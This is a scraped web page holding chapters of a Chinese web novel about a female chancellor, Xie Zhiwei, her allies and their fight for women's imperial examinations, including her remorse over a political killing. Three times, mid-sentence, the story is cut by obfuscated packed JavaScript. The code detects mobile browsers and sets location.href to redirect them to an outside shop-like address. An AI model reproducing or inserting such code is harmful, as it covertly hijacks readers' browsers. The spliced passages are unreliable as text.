她娘死的时候,这本书就放在她枕边。刽子手来拿人的时候,这本书掉在地上,被踩了一脚。后来她回去找,在雪地里找到了,沾了泥,沾了血。 她把书带回来,擦了又擦,可那些痕迹,擦不掉。 就像她心里的那些事。 怎么都擦不掉。 谢知微伸出手,翻开那本书。 第一页,是她娘写的字。 “吾儿知微,读书明理,莫学为娘。” 她看着那行字,眼眶红了。 娘,女儿读书了。明理了。可那些理,教不了女儿怎么活。 她翻到第二页。 “卑弱第一。古者生女三日,卧之床下,弄之瓦砖,而斋告焉。卧之床下,明其卑弱,主下人也……” 她看着那些字,忽然笑了。 笑得很冷。 卑弱? 她娘一辈子卑弱,结果呢?被砍头。 她不卑弱,结果呢?坐在这值房里,替那个昏君批奏折,替他背黑锅,替他杀那些该杀的人。 卑弱,死。 不卑弱,也死。 那还不如不卑弱。 至少死的时候,能说一句:老娘不亏。 她合上书,闭上眼睛。 脑子里闪过很多画面。 那些画面,她平时不敢想。 因为一想,就睡不着。 一想,就觉得自己脏。 脏得洗不干净。 承安五年。 那年她二十四岁,当宰相第二年。 皇帝要推行一项新政,改革盐税。朝中反对的人很多,其中最厉害的是一个御史,姓周,叫周明德。 周明德是个老臣,三朝元老,门生故吏遍天下。他反对盐税改革,理由冠冕堂皇——“祖宗之法不可变”。可谢知微知道,他真正反对的原因,是他自己就是盐商的后台,每年从盐税里捞的油水,够他全家吃三辈子。 皇帝让她想办法。 她想了很多办法。 拉拢,不行。送礼,不收。威胁,不怕。 周明德油盐不进,软硬不吃。 她没办法了。 有一天,刘公公来找她。 “谢相,”刘公公笑眯眯地说,“听说您最近在为周御史的事头疼?” 她看着刘公公那张笑脸,心里厌恶,可脸上不动声色。 “刘公公有何高见?” 刘公公说:“周御史有个儿子,叫周怀安。是个纨绔子弟,吃喝嫖赌样样精通。最近他看上了一个民女,想纳为妾。那民女不愿意,他就天天去堵人家门。” 谢知微听着,不说话。 刘公公继续说:“周御史就这么一个儿子,宠得不行。他那儿子干的那些烂事,他都睁一只眼闭一只眼。可要是他那儿子惹了大事,他还能睁着眼吗?” 谢知微的眼神一凛。 刘公公笑着说:“谢相,您明白我的意思。” 他走了。 谢知微一个人在值房里,坐了很久。 她明白刘公公的意思。 让周怀安惹事。惹大事。惹到周明德兜不住。 可怎么让他惹事? 给他递刀子。 把那个民女,送到他嘴边。 谢知微的手在发抖。 她知道这是错的。 那个民女,无辜的,什么都没做错。凭什么要被她当作棋子,送给那个畜生糟蹋? 可她不这样做,盐税改革就推不动。 盐税推不动,国库就没钱。 国库没钱,边关的军饷就发不出。 军饷发不出,边关的将士就会哗变。 将士哗变,北狄就会打进来。 北狄打进来,就会有无数个民女,被糟蹋,被杀死,被挑在枪尖上。 一个,和无数个。 她选哪个? 她选了那个。 她让人去办了。 半个月后,周怀安强占民女的事,闹得满城风雨。 那个民女不堪受辱,上吊死了。 她娘告到官府,官府不受理。 她爹跪在衙门口,磕头磕得满头是血,也没人理。 后来,那个民女的爹也死了。 怎么死的?没人知道。 只知道周怀安那几天躲在府里不敢出门,周明德急得团团转。 谢知微趁机弹劾周明德“教子无方,纵子行凶”。 朝中那些早就看周明德不顺眼的人,纷纷落井下石。 周明德被罢了官,灰溜溜地滚出京城。 临走那天,谢知微去看他。 周明德看见她,眼睛里的恨意像刀子。 “谢知微,”他说,“你不得好死。” 她笑了。 “周大人,”她说,“您先走好。” 周明德走了。 可她没有放过他。 三个月后,她派人送了一壶酒去周明德的家乡。 酒里下了毒。 周明德喝了,死了。 死之前,他拉着儿子的手说:“怀安,记住,是谢知微那个贱人害的我。” 周怀安记住了。 可他不知道,他爹不是被她害的,是被他自己害的。 没有他强占民女的事,周明德不会倒。 周明德不倒,就不用死。 可他不会想这些。 他只会恨她。 就像她恨自己一样。 那天晚上,谢知微一个人在值房里,对着镜子。 镜子里的人,二十四岁,头发已经开始白了。 她看着那张脸,看了很久。 然后她哭了。 没有声音,只是眼泪流下来。 一滴,两滴,三滴。 落在桌上,落在奏折上,落在她手上。 她想起那个民女。 想起那个民女的名字,叫阿莲。 十九岁,还没出嫁。 她娘叫她“莲儿”,她爹叫她“丫头”。 她喜欢在河边洗衣服,一边洗一边唱歌。 她唱的是什么歌?没人知道了。 因为她的嗓子,被周怀安掐断了。 谢知微擦干眼泪,看着镜子里的自己。 “母亲,”她轻声说,“这脏活,女儿替您干了。” 母亲当然不会回答。 可她觉得,母亲在看着她。 看着她的手,沾了血。 看着她的心,脏了。 她对着镜子,笑了一下。 笑得很难看。 “女儿不后悔。”她说,“女儿没得选。” 从那以后,她就不再看镜子了。 因为不想看见那张脸。 那张沾了血的、脏了的脸。 承安十一年,四月二十八。 夜。 谢知微从回忆里醒过来。 灯花又爆了一声。 她低头,看着手里的《女诫》。 看着那些字。 “卑弱第一。” 她笑了。 卑弱? 她不卑弱。 可她不卑弱,又怎样? 她还是得做那些脏事。 还是得看着那些人死。 还是得在夜里睡不着觉。 她站起来,走到窗前,推开窗。 夜风吹进来,凉丝丝的。 外面是皇宫,是层层叠叠的宫殿,是黑沉沉的夜。 她看着那些宫殿,忽然想起谢霜寒说过的话。 “你的大义,要拿妇孺的血来换?” 她说是。 可她没说,那些血里,有她自己的。 她自己的良心。 她自己的干净。 她自己的命。 可她不在乎。 良心?干净?命? 这些东西,她娘有。 结果呢? 被砍头。 所以她不要了。 良心不要了,干净不要了,命也不要了。 只要能换那个结果。 只要能让那些女子,有一条路走。 什么都行。 她关上窗,走回案前。 坐下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334424|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 翻开《女诫》最后一页。 那上面,是她娘写的另一行字。 “吾儿知微,他日若成大事,莫忘今日。” 她看着那行字,忽然笑了。 娘,女儿没忘。 今日是什么今日? 是那个民女死的今日。 是那个御史死的今日。 是那些脏事发生的今日。 女儿都记着。 一件一件,记着。 忘不了。 她合上书,放在一边。 拿起奏折,开始批。 笔尖划过宣纸,朱砂红得刺目。 批着批着,她忽然停下来。 窗外有声音。 是脚步声。 很轻,很细。 皇城司的狗,又来了。 她冷笑一声,继续批。 狗就狗吧。 她连人都杀过,还怕狗? 四月二十九。 风月楼。 七个人又聚在一起。 谢知微把盐税改革的事说了。 不是全部,只说了个大概。 可沈醉听着听着,忽然问:“谢相,那个民女,叫什么?” 谢知微的手顿了一下。 沈醉看着她。 谢知微沉默了一会儿。 然后她说:“阿莲。” 沈醉点点头,没再问。 苏锦在旁边,忽然说:“谢相,你那事,我知道。” 谢知微看着她。 苏锦说:“那个阿莲,是扬州人。她娘后来疯了,她爹死了。她家,绝了。” 谢知微的脸色白了一瞬。 苏锦继续说:“我查过。当年那件事,有人记着。周怀安现在还活着,在他老家当土财主。每年清明,他都要去给周明德上坟。” 谢知微的手握紧。 苏锦看着她。 “谢相,你后悔吗?” 谢知微沉默了很久。 然后她说:“不后悔。” 苏锦问:“为什么?” 谢知微说:“因为没得选。” 苏锦看着她,忽然笑了。 “好一个没得选。”她说,“我也是。” 她从怀里摸出那支银簪,放在桌上。 “我妹妹的。”她说,“八岁死的。我选了吗?我没得选。” 白芷走过来,站在谢知微身边。 “谢相,”她说,“我爹救人,被人害了。我选了吗?没得选。” 谢霜寒走过来。 “我娘被杀。我选了吗?没得选。” 云娘走过来。 “我眼睛被挖。我选了吗?没得选。” 花解语走过来。 “我娘被赐死。我选了吗?没得选。” 沈醉最后一个走过来。 “我师门被灭。我选了吗?没得选。” 七个人,站在听梅阁里。 谢知微看着她们,眼眶红了。 沈醉伸出手,在她肩上拍了拍。 “谢相,”她说,“咱们都一样。都是从死人堆里爬出来的。都干过脏事。都不干净。” 她笑了。 “可那又怎样?咱们还活着。活着,就能干点干净事。” 谢知微看着她,眼泪终于掉下来。 一滴。 只有一滴。 她抬手擦掉。 “沈老板,”她说,“你说得对。” 沈醉笑了。 “那是,”她说,“老娘嘛,当然对。” 四月三十。 谢知微回到值房。 案上摆着一份新的奏折。 是礼部送来的,请旨明年是否开女子科举。 她看着那份奏折,看了很久。 然后她提起笔,批了两个字。 “照准。” 笔尖落下的时候,她的手没有抖。 她想起那些人的脸。 娘的脸。阿莲的脸。那些死去的女人的脸。 她们都在看着她。 她对着那些脸,轻轻说了一句话。 “女子科举,不是奸政——是她们的命。” 窗外,天亮了。 阳光照进来,照在她脸上。 她那一头白发,在阳光下,白得像雪。 可她的眼睛,亮得像火。 20. 民变:女子科举被阻 承安十一年,五月初五。 端午。 本该是赛龙舟、吃粽子、插艾草的日子。 可京城的街道上,没有龙舟,没有粽子,只有人。 很多人。 男人们。 他们从四面八方涌来,涌向贡院的方向。 贡院门口,三百名女学子正排队入场。 今天是女子科举的殿试日。通过了这一场,她们就是大燕历史上第一批女进士。 可她们进不去。 因为贡院门口,被一群男人堵住了。 “女子也配读书?” “女子也配科举?” “回家生孩子去!” “牝鸡司晨,祸乱之源!” 骂声一浪高过一浪。 那些男人有的穿着粗布短打,是市井无赖;有的穿着长衫,是落第秀才;还有的穿着绸缎,是富家子弟。平日里互相看不顺眼的人,今天出奇地团结。 因为他们有一个共同的敌人—— 读书的女子。 女学子们被堵在门口,进也不是,退也不是。 有人被骂哭了,捂着脸往回跑。 有人气得浑身发抖,可张了张嘴,什么都骂不出来。 她们从小被教育要温良恭俭让,哪里骂得过这些粗人? 带队的女官是去年中举的进士,姓林,叫林婉。她站在最前面,试图和那些男人理论。 “诸位,女子科举是朝廷下旨办的,你们这样堵门,是抗旨!” 为首的一个男人笑了。 “抗旨?老子就是抗旨了,怎么着?” 他一挥手,身后的人往前涌。 林婉被推倒在地。 那些男人哄笑起来。 “女官?女官有什么用?还不是被老子推倒?” “起来啊!起来考啊!” “考不上回去生孩子!” 林婉爬起来,又被推倒。 爬起来,又被推倒。 她的衣裳脏了,头发散了,脸上全是泪。 可她还是爬起来。 那些男人笑得更欢了。 “看啊!这女人还不死心!” “让她爬!爬进去算她赢!” 林婉跪在地上,一步一步往前爬。 那些男人围着她,像看猴戏一样。 --- 远处,一辆马车正往这边赶来。 马车里,坐着七个人。 谢知微脸色铁青。 沈醉握着酒坛,指节发白。 谢霜寒按着剑柄,一言不发。 白芷的手在发抖。 苏锦咬着牙,说不出话。 云娘看不见,可她能听见外面的声音。 那些骂声,那些笑声,那些女孩子的哭声。 她问阿桑:“外面怎么了?” 阿桑哭着说:“云娘,他们……他们堵着门,不让那些姑娘进去……” 云娘的手握紧。 她想起多年前,她也是这样被人围着。 那些人说,女子科举是谋反,是大逆不道。 然后他们把她的眼睛挖了。 花解语抱着琴,轻声说:“谢相,让我去。我的琴弦,能勒死几个。” 谢知微摇摇头。 “你们都不能去。”她说,“你们去了,正合他们意。他们会说,七绝仗势欺人,用武力镇压百姓。” 沈醉摔了酒坛。 “那怎么办?眼睁睁看着那些姑娘被欺负?就像当年眼睁睁看着阿蛮撞死?” 她想起那个十五岁的少女,撞死在风月楼的后院。 她救了她一天,没救了她一辈子。 谢知微沉默了一会儿。 然后她开口了。 “你们知道,女子科举,是怎么来的吗?” 没有人说话。 谢知微说:“是我拿命换来的。” --- 那是一年前的事了。 承安十年,腊月。 皇帝设局,用女子科举为诱饵,想引七绝出头。 谢知微知道那是陷阱。 可她还是跳了。 因为这是唯一的机会。 她对谢知微说:“我知道你想杀我们。可你想杀,也得先让女子科举开了。开了,你才能杀。” 皇帝笑了。 “谢爱卿,你这是在赌。” 谢知微说:“是。我赌你不敢当着天下人的面杀我们。” 皇帝说:“朕有什么不敢?” 谢知微说:“你敢,可你的江山不敢。天下人看着呢。你杀了我们,你就是昏君。” 皇帝的笑容僵住了。 谢知微说:“让女子科举开。开了,你慢慢杀。杀不完,是你的命。杀完了,是我们的命。” 皇帝答应了。 可皇帝不知道,谢知微要的,不只是科举开。 她要的是那些女子,走进考场,走进朝堂,走进这世道的每一个角落。 只要她们进去了,就再也赶不出来了。 哪怕她们死了,也会有人记住她们。 就像她记住她娘。 就像沈醉记住阿蛮。 就像谢霜寒记住她娘。 就像白芷记住她爹。 就像苏锦记住她妹妹。 就像云娘记住那些死去的姑娘。 就像花解语记住她娘。 记住,就不会白死。 --- 谢知微看着她们,一字一字说: “女子科举,是咱们七个人用命换的。谢霜寒在边关杀敌,换边关将领支持;苏锦用账本逼贪官点头,换朝中那些墙头草闭嘴;白芷在太医院救人,换那些太医不捣乱;云娘用绣品传信,换各地学子的命;花解语用琴音传密语,换那些藏在暗处的消息;沈醉用风月楼接应,换那些姑娘们有个地方落脚。” 她顿了顿。 “我用什么换?我用我这条命,还有我娘那条命,换皇帝点头。” “今天那些姑娘在里面的每一笔,都是咱们的血。” 谢霜寒站起来。 “我去。” 谢知微看着她。 谢霜寒说:“你刚才说的那些,我都记得。鹰愁涧那一战,白芷用十年命换我活,我欠她一条命。今天我护那些姑娘,就当还她。” 白芷愣了一下,然后笑了。 “谢阁主,我那十年命,不用你还。” 谢霜寒说:“我偏要还。” 她跳下车,一个人走向贡院。 --- 谢霜寒穿着一身黑衣,腰悬长剑,浑身上下冒着寒气。 那些男人看见她,愣了一下。 有人认出她来。 “是……是剑中霜!那个杀人不眨眼的女魔头!鹰愁涧杀了八千北狄人的那个!” 人群骚动起来。 可很快,有人壮着胆子喊:“怕什么?她就一个人!咱们这么多人!她敢杀人?杀了人官府抓她!” “对!她敢杀人?咱们是百姓,她杀了咱们,皇帝不会放过她!” 人群又往前涌。 谢霜寒没有停。 她一步一步往前走。 走到贡院门口,走到那群男人面前。 走到林婉身边。 林婉跪在地上,满身是泥,满脸是泪。 谢霜寒低头看着她。 她想起阿蘅。 那个从死人堆里扒出来的孩子,现在也能独当一面了。 她想起白芷那句话:“你活着,能杀更多人。” 今天她不杀人。 她护人。 “起来。”她说。 林婉愣住了。 谢霜寒伸出手。 那只手,握过剑,杀过人,沾过血。 可今天,它把一个跪在地上的女子拉了起来。 林婉握住那只手,站了起来。 谢霜寒把她护在身后,然后看着那些男人。 那些男人被她看得发毛,可没人后退。 为首的那个又喊:“谢霜寒!你别以为我们怕你!你杀了人,你也得死!” 谢霜寒没有说话。 她只是拔出剑。 剑光一闪。 不是杀人。 是劈向旁边的一张石桌。 那石桌是贡院门口摆着给考生歇脚的,青石做的,三尺见方,厚半尺,少说也有几百斤。 谢霜寒一剑劈下去。 “轰——” 石桌从中间裂开,碎成两半。 碎片溅了一地。 人群安静了。 谢霜寒收剑,看着那些人。 一字一字说: “今日谁敢拦,我这剑,就劈了谁。” 没有人敢动。 没有人敢说话。 那些男人像被定住一样,站在原地,大气都不敢出。 谢霜寒看着他们,忽然想起谢知微说过的话。 “恨着,才能活下去。” 她恨了二十三年。 今天,她不恨了。 她只想让这些姑娘,进去。 谢霜寒转过身,看着那些女学子。 “进去。”她说,“考你们的试。” 女学子们愣了一瞬。 然后有人哭了。 有人笑了。 有人跪下来,给她磕头。 谢霜寒皱眉:“磕什么?进去!” 她们爬起来,哭着喊着,往贡院里跑。 一个,两个,三个…… 三百个人,全部进去了。 门关上。 贡院里,传来考官的声音:“开考——” 那些男人还站在原地。 谢霜寒看着他们。 “还不滚?” 人群轰然散去。 只剩下满地的石桌碎片。 和那个站在碎片中间的黑衣女人。 --- 林婉没有进去。 她跪在谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334425|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜寒面前,磕了三个头。 “谢阁主,我替所有女学子,谢谢您。” 谢霜寒低头看着她。 “谢什么?”她说,“你们考上,就是谢我。” 林婉站起来,擦干眼泪,跑进贡院。 谢霜寒站在那里,看着那些碎片。 远处,一个小姑娘从角落里跑出来。 那姑娘只有七八岁,穿着粗布衣裳,扎着两个小辫,瘦瘦小小的。 她跑到那些碎片前,蹲下来,捡起一块。 谢霜寒看着她,忽然觉得眼熟。 “你叫什么?”她问。 小姑娘抬起头,看着她。 眼睛亮亮的。 “我叫阿石。石头的石。” 谢霜寒愣了一下。 阿石。 那年鹰愁涧战后,有个小姑娘来找她学剑。 也叫阿石。 那是三年前的事了。 “你……”谢霜寒蹲下来,“你娘呢?” 阿石说:“我娘死了。北狄人杀的。” 谢霜寒的手顿了一下。 阿石说:“那年您救了我和我娘,可后来,我娘还是死了。她让我来找您,说您会教我杀人。” 谢霜寒看着她。 三年前,这个小姑娘才四岁。 现在七岁了。 和她当年一样大。 “那你学了吗?”谢霜寒问。 阿石摇摇头。 “没人教我。我住在风月楼,沈老板给我饭吃。可她只会喝酒,不会杀人。” 谢霜寒难得地笑了。 “她不是不会,”她说,“她是用别的方式。” 阿石不懂。 她只是抱着那块碎片,问:“姐姐,您刚才那一剑,能教我吗?” 谢霜寒看着她。 看着那双眼睛。 亮亮的,和她当年一模一样。 “你为什么想学?” 阿石说:“我要杀北狄人。杀光他们。” 谢霜寒沉默了一会儿。 然后她说:“我教你。” 阿石的眼睛更亮了。 “真的?” 谢霜寒点点头。 “真的。不过你要先做一件事。” 阿石问:“什么事?” 谢霜寒指着她怀里的碎片。 “这块石头,你留着。等你长大了,把它刻成四个字。” 阿石问:“什么字?” 谢霜寒说:“女子脊梁。” 阿石低头看着那块碎片,用力点头。 “我记住了。” 她抱着碎片,跑远了。 跑出几步,又回头喊:“姐姐,我叫阿石!石头的石!您别忘了!” 谢霜寒站起来,看着她的背影。 像看着当年的自己。 --- 远处,马车还停在那里。 车窗掀开,露出谢知微的脸。 她看着谢霜寒,点了点头。 谢霜寒转身,走回马车。 上了车,沈醉一把抱住她。 “谢阁主!你刚才那一剑,太帅了!” 谢霜寒被她抱得喘不过气。 “松……松手……” 沈醉松开,笑着拍她的肩。 “行啊你,一剑劈开石桌,把那群怂货吓跑了!” 谢霜寒难得地露出一点笑。 “那石桌,不结实。” 白芷在旁边笑了。 “不结实?那是青石的,三百斤重。你一剑劈开,叫不结实?” 谢霜寒没说话。 苏锦说:“现在外面肯定传疯了。剑中霜一剑护女科,威震京城。” 云娘说:“那个小姑娘,我听见了。她叫阿石。她会替咱们传下去的。” 花解语拨了一下琴弦,发出一声轻响。 “女子脊梁,”她说,“这四个字,比咱们的名字都好。” 谢知微看着她们,忽然说:“你们知道吗,我娘临死前,跟我说了两个字。” 所有人都看向她。 谢知微说:“活着。” 她顿了顿。 “她说,活着,就能等到那一天。” 沈醉问:“那现在,算不算那一天?” 谢知微想了想。 “算一半。”她说,“还有一半,得等她们考完,等她们入朝,等她们掌权,等她们把这条路走下去。” 谢霜寒说:“那得等多久?” 谢知微说:“不知道。可能十年,可能百年,可能咱们都死了,她们还在走。” 沈醉笑了。 “那也值。” 七个人,七碗酒。 碰在一起。 窗外,阳光正好。 照在贡院的屋顶上,照在那三百个正在考试的姑娘身上,照在那个抱着碎片跑远的小姑娘身上。 女子脊梁。 四个字,刻在石头上。 也刻在她们心里。 21. 朝堂:弹劾女相 朝堂:弹劾女相 承安十一年,五月初八。 贡院那场闹剧过去三天,朝堂上的风暴才刚刚开始。 卯时三刻,文武百官鱼贯而入,分列两侧。气氛比往常凝重得多,没有人交头接耳,没有人窃窃私语。所有人都低着头,盯着自己的脚尖。 因为他们知道,今天要出大事。 谢知微站在文官之首,一身朝服,白发如雪。她脸上没什么表情,只是看着前方。 前方是皇帝的龙椅。 空着的。 刘公公尖细的嗓音响起:“陛下驾到——” 皇帝从侧殿走出来,登上御阶,在龙椅上坐下。 他的脸色也很平静。 平静得有些不正常。 “诸位爱卿,”他说,“今日有何事上奏?” 话音刚落,一个人从队列中走出来。 是御史台的人,姓周,叫周延。此人以刚直著称,参过的人没有一百也有八十。据说他连自己亲爹都参过——当然,那是酒后吹的。 周延跪下,高举笏板。 “臣,有本上奏!” 皇帝点点头:“奏。” 周延抬起头,目光如刀,直指谢知微。 “臣要参当朝宰相谢知微——牝鸡司晨,祸乱朝纲!” 朝堂上一片哗然。 虽然大家早有预料,可真的听到这四个字,还是觉得心惊肉跳。 牝鸡司晨。 这四个字,当年杀了谢知微的母亲。 周延继续说:“谢知微以女子之身窃据相位,把持朝政,结党营私,任用私人。更可恨者,她勾结江湖女子,自号‘七绝’,扰乱民心,蛊惑天下女子读书科举,有违祖制,大逆不道!” 他一口气说了几十条罪状,最后重重叩首。 “臣请陛下,罢谢知微相位,诛其九族,以正朝纲!” 朝堂上安静了一瞬。 然后有人站了出来。 “臣附议!” “臣附议!” 一个接一个,站出来了二十几个人。 都是御史台的人,还有几个礼部的老顽固。 皇帝看着那些站出来的大臣,又看看谢知微。 “谢爱卿,”他说,“你有何话说?” 谢知微没有动。 她只是站在那里,看着那些弹劾她的人。 一个一个看过去。 那些人的眼神,有的躲闪,有的得意,有的幸灾乐祸。 她忽然想起很多年前。 那时候她七岁,跪在雪地里,看着那些人把她娘押走。 那些人的眼神,和今天一模一样。 她笑了。 笑得很冷。 然后她走出来,站在大殿中央。 “陛下,”她说,“臣有话要说。” 皇帝点点头。 谢知微转过身,看着周延。 “周御史,你刚才说什么?牝鸡司晨?” 周延挺着脖子:“是!牝鸡司晨,惟家之索。女子干政,国之大祸!” 谢知微点点头。 “好一个牝鸡司晨。”她说,“那我问你,去年北狄入侵,是谁在朝堂上吓得浑身发抖,连话都说不出来?” 周延脸色一变。 谢知微继续说:“鹰愁涧一战,是谁带着三千残兵,挡住北狄三万大军?是你吗?” 周延说不出话。 谢知微说:“不是。是女子。是谢霜寒,是我七绝中的剑中霜。” 她又问:“边关军饷发不出,是谁拿出自己的钱,补了国库的亏空?是你吗?” 周延的脸涨红了。 谢知微说:“不是。是女子。是苏锦,是我七绝中的商中狐。” 她往前走了一步。 “那些女学子,是谁教她们读书识字?是你吗?” 周延往后退了一步。 谢知微说:“不是。是云娘,是我七绝中的绣中魂。她的眼睛瞎了,可她教出来的学生,比你读过的书还多。” 她又往前走了一步。 “那些被北狄人毒伤的将士,是谁救活的?是你吗?” 周延又退一步。 谢知微说:“不是。是白芷,是我七绝中的医中圣。她用十年命换一个人活,她救的人,堆起来能堆成山。” 她再往前走一步。 “那些藏在暗处的消息,是谁传出来的?是你吗?” 周延已经退到了柱子边上。 谢知微说:“不是。是花解语,是我七绝中的乐中妖。她娘因为传密信被赐死,她替她娘继续传。她的琴弦,勒死过北狄刺客。” 她停下脚步,看着周延。 “你,还有你们,”她环顾四周,看着那些弹劾她的人,“你们做过什么?你们除了会站在这朝堂上,喊几句‘牝鸡司晨’,还会什么?” 没有人说话。 朝堂上静得可怕。 谢知微从袖子里拿出一份奏折。 那是周延弹劾她的奏折。 她当着所有人的面,把奏折撕成两半。 撕成四半。 撕成碎片。 扔在地上。 “牝鸡司晨?”她说,“我母亲因这四个字被赐死。那年我七岁,跪在雪地里,看着她的血把雪染红。” 她的声音在发抖。 可她没有停。 “我母亲临死前跟我说,活着。她说,活着,就能等到那一天。” “我等了二十三年。” “二十三年,我从一个孤女,爬到宰相的位置。我替这个昏君批了九年的奏折,替他背了九年的黑锅,替他杀了九年该杀的人。” “我手上沾的血,比你们见过的还多。” “可我不后悔。” “因为我知道,我活着,就能让那些女子,不用像我娘一样死。” 她看着皇帝。 “陛下,您问我有什么话说?” “我只有一句话。” “我要让天下女子,都有书读。” 朝堂上死一般的寂静。 皇帝坐在龙椅上,看着她。 看了很久。 然后他笑了。 笑得很冷。 “谢爱卿,”他说,“你这些话,说得真好。朕差点都感动了。” 他站起来,慢慢走下御阶。 走到谢知微面前。 “可你知道吗,”他说,“这朝堂,容不得女子。” 谢知微看着他。 皇帝说:“你以为朕不知道你们在干什么?你以为朕不知道你和那几个女人勾结?你以为朕真的怕你?” 他凑近谢知微的耳边,压低声音。 “朕告诉你,谢知微。你娘死的那天,朕就在现场。朕亲眼看着她的头被砍下来,亲眼看着她的血溅在雪地上。” 谢知微的脸色变了。 皇帝退后一步,看着她。 “你知道你娘临死前说了什么吗?” 谢知微没有说话。 皇帝笑了。 “她说,陛下,我女儿什么都不知道,求您放过她。” “她跪在那儿,磕头,磕得满头是血。求朕放过你。” 谢知微的手在发抖。 皇帝说:“朕答应了。因为朕想看看,那个小丫头,能活成什么样。” “结果你活成了宰相。活成了七绝之首。活成了朕的心腹大患。” 他转过身,走回龙椅。 坐下。 “谢知微,”他说,“你今日说的这些话,朕都记着。可朕告诉你,这朝堂,不是你撒野的地方。” 他挥了挥手。 “退朝。” 百官鱼贯而出。 谢知微站在原地,一动不动。 她看着皇帝。 看着那张龙椅。 忽然,她的目光停住了。 龙椅底下,露出一样东西。 一本书。 很旧的书,边角都卷起来了。 《女诫》。 她娘留给她的那本《女诫》。 她明明放在值房里,怎么会在这里? 皇帝顺着她的目光看去,笑了。 “看见了?”他说,“你娘的书,朕让人拿来的。” 他从龙椅底下抽出那本书。 翻开。 书页上,有暗红色的痕迹。 是血。 被血浸透的痕迹。 皇帝把书扔在她面前。 “你娘的血,”他说,“还在这上面。你要不要闻闻?” 谢知微低头看着那本书。 看着她娘的字迹。 “吾儿知微,读书明理,莫学为娘。” 那些字,被血染得模糊不清。 她蹲下来,伸出手,捡起那本书。 书页很脆,一碰就要碎。 她捧着那本书,站起来。 看着皇帝。 皇帝也在看着她。 两个人对视着。 过了很久,谢知微开口了。 “陛下,”她说,“臣有一句话,早就想说了。” 皇帝说:“说。” 谢知微说:“臣,请辞。” 朝堂上又安静了。 皇帝愣了一下。 然后他笑了。 “辞?”他说,“谢爱卿,你以为辞了,就能走?” 谢知微说:“臣知道走不了。可臣要让你知道,是你逼我走的。” 她转过身,一步一步往外走。 走到门口,她停下来。 回头看着皇帝。 看着那张龙椅。 看着那本沾着她娘血的《女诫》。 “陛下,”她说,“您龙椅底下那本书,我娘的血,会替她看着您。” 她走了。 皇帝坐在龙椅上,脸色铁青。 刘公公凑上来:“陛下,这……” 皇帝抬手,打断他。 “让她走。”他说,“她走不远。” --- 风月楼。 谢知微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334426|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走进去的时候,六个人都在。 沈醉第一个站起来。 “谢相?你怎么来了?不是在上朝吗?” 谢知微没有说话。 她只是走到桌边,坐下。 把那本《女诫》放在桌上。 云娘“看”着那本书,忽然问:“有血?” 谢知微点点头。 “我娘的。” 屋子里安静了。 沈醉给她倒了一碗酒。 谢知微接过来,一口喝了。 然后她开口了。 “我辞官了。” 没有人惊讶。 沈醉说:“早晚的事。” 谢霜寒说:“辞了就辞了,咱们七个人,一样活。” 白芷说:“皇帝不会放过你。” 谢知微说:“我知道。” 苏锦说:“那就先下手。” 谢知微摇摇头。 “不是时候。”她说,“那些女学子还没考完,还没入朝,还没站稳。现在动手,她们都得死。” 云娘说:“那你打算怎么办?” 谢知微沉默了一会儿。 然后她笑了。 “等。”她说,“等他先动手。” 花解语拨了一下琴弦。 “谢相,”她说,“你娘的书,能给我看看吗?” 谢知微把那本《女诫》递给她。 花解语翻开,摸着那些被血浸透的书页。 摸着摸着,她的手停住了。 “这……”她说,“这上面有字。” 所有人都看向她。 花解语说:“血浸过的书页,有些地方变厚了。你们看。” 她把书页对着光。 那些被血浸透的地方,隐隐约约,有字的痕迹。 是密写的字。 谢知微接过来,仔细看。 看了很久。 然后她的脸色变了。 “我娘……”她说,“我娘留下的。” 沈醉问:“写的什么?” 谢知微抬起头,看着她们。 一字一字说: “北狄将反,女科是饵。皇帝通敌,证据在此。” 屋子里死一般的寂静。 谢霜寒的手按在剑柄上。 “皇帝,通敌?” 谢知微点点头。 “我娘当年传的那些密信,有一封是给皇帝的。她发现了皇帝和北狄勾结的证据。” 苏锦问:“那她怎么死的?” 谢知微说:“皇帝杀的。” 白芷说:“所以她不是因‘牝鸡司晨’死的。她是因知道太多死的。” 谢知微点头。 “那四个字,只是借口。” 沈醉摔了酒坛。 “好一个皇帝!”她吼道,“咱们被他耍了这么多年!” 谢霜寒站起来。 “我去杀了他。” 谢知微拦住她。 “等等。”她说,“这证据,还不够。只有字,没有物证。” 她看着那本书。 “得找到我娘当年藏的那些东西。” 云娘问:“藏在哪儿?” 谢知微想了想。 “她临死前,只说了两个字——活着。” 花解语说:“活着?这是什么意思?” 谢知微闭上眼睛。 活着。 她娘说,活着。 她娘让她活着。 可除了这个,还有别的意思吗? 她忽然睁开眼睛。 